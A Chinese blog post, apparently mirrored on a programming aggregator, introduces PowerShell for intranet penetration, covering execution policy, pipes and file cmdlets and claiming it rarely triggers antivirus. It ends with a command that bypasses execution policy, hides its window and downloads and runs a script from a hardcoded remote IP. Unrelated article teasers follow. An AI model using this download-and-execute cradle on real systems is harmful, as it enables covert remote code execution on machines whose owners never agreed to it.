内网渗透--powershell简介_powershell脚本的扩展名-程序员宅基地

技术标签： java  安全  

windows powershell基础

Powershell 是运行在windows机器上实现系统和应用程序管理自动化的命令行脚本环境。你可以把它看成是命令行提示符cmd.exe的扩充

powershell具有以下特点

  • 在window7以上版本的操作系统中是默认安装的
  • 脚本可以在内存中运行，不需要写入磁盘
  • 几乎不会触发杀毒软件
  • 可以远程执行
  • 目前很多工具都是基于powershell开发的
  • 使windows脚本的执行变得更容易
  • cmd.exe的运行通常会被阻止，但是powershell的运行通常不会被阻止
  • 可用于管理活动目录

可以输入“Get-Host”或者“$PSVersionTable.PSVERSION”命令查看powershell的版本，
在这里插入图片描述

PowerShell的基本概念

1. .ps1文件
一个powershell脚本其实就是一个简单的文本文件，其扩展名为“.ps1”。powershell脚本文件包含一系列powershell命令，每个命令显示为独立的一行。

2. 执行策略
为了防止使用者运行恶意脚本。powershell提供了一个执行策略。在默认情况下，这个执行策略被设置为“不能运行”。
如果powershell脚本无法运，可以使用下面的cmdlet命令查询当前的执行策略。

  • Get-ExecutionPolicy.
  • Restricted:脚本不能运行（默认设置）
  • ReomteSigned:在本地创建的脚本可以运行，但从网上下载的脚本不能运行（拥有数字签名的除外）
  • AllSigned:允许脚本由受信任的发布者签名时才能运行
  • Unrestricted:允许所有的脚本允许 可以使用下面的cmdlet命令设置powershell的执行策略。 Set-ExecutionPolicy

3.运行脚本
想要运行一个powershell脚本，必须输入完整的路径和文件名。运行脚本a.ps1，需要输入“C：\Scripts\a.ps1”.
4.管道
管道的作用是将一个命令的输出作为另一个命令的输入，两个命令之间用"|"连接。如：
让所有正在运行的，名字以字符“p”开头的程序停止运行

PS> get-process p* | stop-process

**## powershell的常用命令

  • 基本知识**
    powershell命令不区分大小写
    在powershell下，类似cmd命令的命令叫作cmtlet命令。二者的命名规范一致，采用“动词-名词”的形式。动词部分一般为：Add,New,Get,Remove,Set等。
    文件操作命令：
  • 新建目录：New-ltem whitecellclub-ltem Type Directory
  • 新建文件：New-ltem light.txt-ltemType File
  • 删除目录：Remove-ltem whitecellclub
  • 显示文本内容：Get-Content test.txt
  • 设置文本内容：Set-Content test.txt-Value “hello world”
  • 追加内容：Add-Content light.txt-Value “wodema”
  • 清除内容：Clear-Content text.txt
  • 常用命令
    要想运行powershell脚本程序，必须使用管理员权限将策略策略从Restricted改成Unrestricted

（1）绕过本地权限并执行
在这里插入图片描述
直接执行脚本，会提示系统中禁止执行脚本。
输入

powershell.exe -ExecutionPolicy Bypass -File .\test.ps1

可以绕过这个限制。
（2）从网站服务器中下载脚本，绕过本地权限并隐藏执行

powershell -WindowStyle Hidden -NoLogo -executionpolicy bypass
IEX(New-Object
Net.WebClient).DownloadString(‘http://123.56.82.231:8000/eryao7.ps1’);
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/shayebudon/article/details/122708467

智能推荐

vue3背景下，el-input嵌套在弹出框中，自动聚焦“失效”？如何实现自动聚焦_vue3 el-input 自动聚焦autofocus无效-程序员宅基地

文章浏览阅读436次，点赞15次，收藏2次。原因或许是，使用autofocus时，确实聚焦了！但是当我们又点击 显示弹出框的按钮时，input又失焦了，所以当我们看到input框时，没有自动聚焦。_vue3 el-input 自动聚焦autofocus无效

linux网络服务配置说课,《说课稿LINUX》PPT课件.ppt-程序员宅基地

文章浏览阅读222次。《《说课稿LINUX》PPT课件.ppt》由会员分享，可在线阅读，更多相关《《说课稿LINUX》PPT课件.ppt(16页珍藏版)》请在装配图网上搜索。1、LINUX 基础应用与配置管理 桂林山水职业学院计算机系 朱笑雷 主要内容 课程定位 1 课程内容设置 2 教学方法与手段 3 教材建设 4 教学团度 5 主要内容 实践条件 6 课程考核 7 教学效果 8 课程特色 9 建设思路 10 一、课..._linux说课课件

在SpringBoot中启动时关于连接数据库失败的问题_springboot启动时数据库连接失败 不关闭-程序员宅基地

文章浏览阅读2.2k次。#在SpringBoot中启动时关于连接数据库失败的问题对照了application.yml，发现配置文件貌似没什么问题，但是在查找信息之后，发现问题正是出现在application.yml中问题出于datasource下的data-username和data-password只要将data-username和data-password改为username和password即可..._springboot启动时数据库连接失败 不关闭

antd-pro(V5)动态菜单_antdpro的菜单-程序员宅基地

文章浏览阅读4.6k次。一般情况下登录系统后菜单是由后端返回的，不是前端写死的。antd-pro也支持，修改的路径在app.tsx在 layout 里加一个menuDataRender字段先给一个() =>[]可以看到左侧菜单没了，说明配置生效了，接下来就可以围绕这个配置做文章了，我们先定义一个 menuDataRender方法。根据登录缓存到本地的数据做下处理，判断菜单里要展示哪些内容（比如替换字段，隐藏不显示的菜单，隐藏按钮等），处理好了后返回一个数组结构即可。示例代码如下export const layout: _antdpro的菜单

Linux安装使用jprofiler6分析服务器应用状态-程序员宅基地

文章浏览阅读77次。为什么80%的码农都做不了架构师？>>> ..._jprofiler6 key

苏小红C语言第四版课后习题练习7.7最大公约数三种计算方式_c语言程序设计第四版课后题答案苏小红第七章-程序员宅基地

文章浏览阅读170次。（可以看出递归算法更加侧重于计算的技巧，并且计算机计算的次数也相对更少）；_c语言程序设计第四版课后题答案苏小红第七章

随便推点

视频格式转换器榜单：10 款最值得拥有的高清视频转换器_奇客视频转换-程序员宅基地

文章浏览阅读560次。如果您想在计算机或任何其他设备上播放高质量的视频，高清视频转换器可以帮助确保您的视频与您的操作系统和硬件兼容。您还可以使用高清转换器更改视频的分辨率，无论您是想提高质量还是降低分辨率以生成更小的文件。在下表中，我们描述了用于转换高清视频的最流行和可用的桌面程序和在线服务。它们各有优缺点，因此请根据您的需要进行选择。_奇客视频转换

Unity血条效果，图片动画_游戏血条动图-程序员宅基地

文章浏览阅读1.9k次。欢迎来到unity学习、unity培训、unity企业培训教育专区，这里有很多U3D资源、U3D培训视频，我们致力于打造业内unity3d培训、学习第一品牌。今天开始做我们的游戏了，组长给分配了任务，我负责做剧情动画，人物血条和种植植物。 一、剧情动画 动画是以多个图片的形式展现的，图片是自己制作的。 private GUITextu_游戏血条动图

环境变量的加载顺序、环境变量集合_环境变量的顺序-程序员宅基地

文章浏览阅读1k次。*******字符编码ASCII,GB2312,GBK,Unicode,UTF-8比较参考：https://blog.csdn.net/softwarenb/article/details/51994943**环境变量的加载顺序：Mac系统的环境变量，加载顺序为：a. /etc/profileb. /etc/pathsc. ~/.bash_profiled. ~/..._环境变量的顺序

科学家发现让人类幸福感飙升的密码！给大脑植入这个算法 | 精选-程序员宅基地

文章浏览阅读316次。▼大型年度AI人物评选——2017中国AI英雄风云榜已于12月4日在乌镇张榜，12月18日在北京国贸三期举行颁奖典礼。榜单评选出年度技术创新人物TOP 10；商业创新人物TOP 10，获取完整榜单请关注网易智能公众号（ID：smartman163），回复关键词“评奖”。本文系网易智能工作室出品聚焦AI，读懂下一个大时代【网易智能讯12月10日消息】不只有你会_人类大脑植入代码

正则表达式匹配中括号内的内容_正则<>里内容-程序员宅基地

文章浏览阅读3.6k次。几经研究， 终于实现了。time[2020-06-04 11:43:36](?<=\[)(.*)(?=])(pattern) 匹配 pattern 并获取这一匹配。所获取的匹配可以从产生的 Matches 集合得到，在VBScript 中使用 SubMatches 集合，在JScript 中则使用 $0…$9 属性。要匹配圆括号字符，请使用 '\(' 或 '\)'。 (?:pattern) 匹配 pattern 但不获取匹配结..._正则<>里内容

C++程序启动时报“R6030 CRT not initialized”错误_r6030 -crt not initialized-程序员宅基地

文章浏览阅读1.4w次，点赞11次，收藏12次。SPY++工具注入到C++程序的进程中，导致程序启动时报“R6030 CRT not initialized”错误，本文将讲解该问题的排查过程。_r6030 -crt not initialized

推荐文章

热门文章

相关标签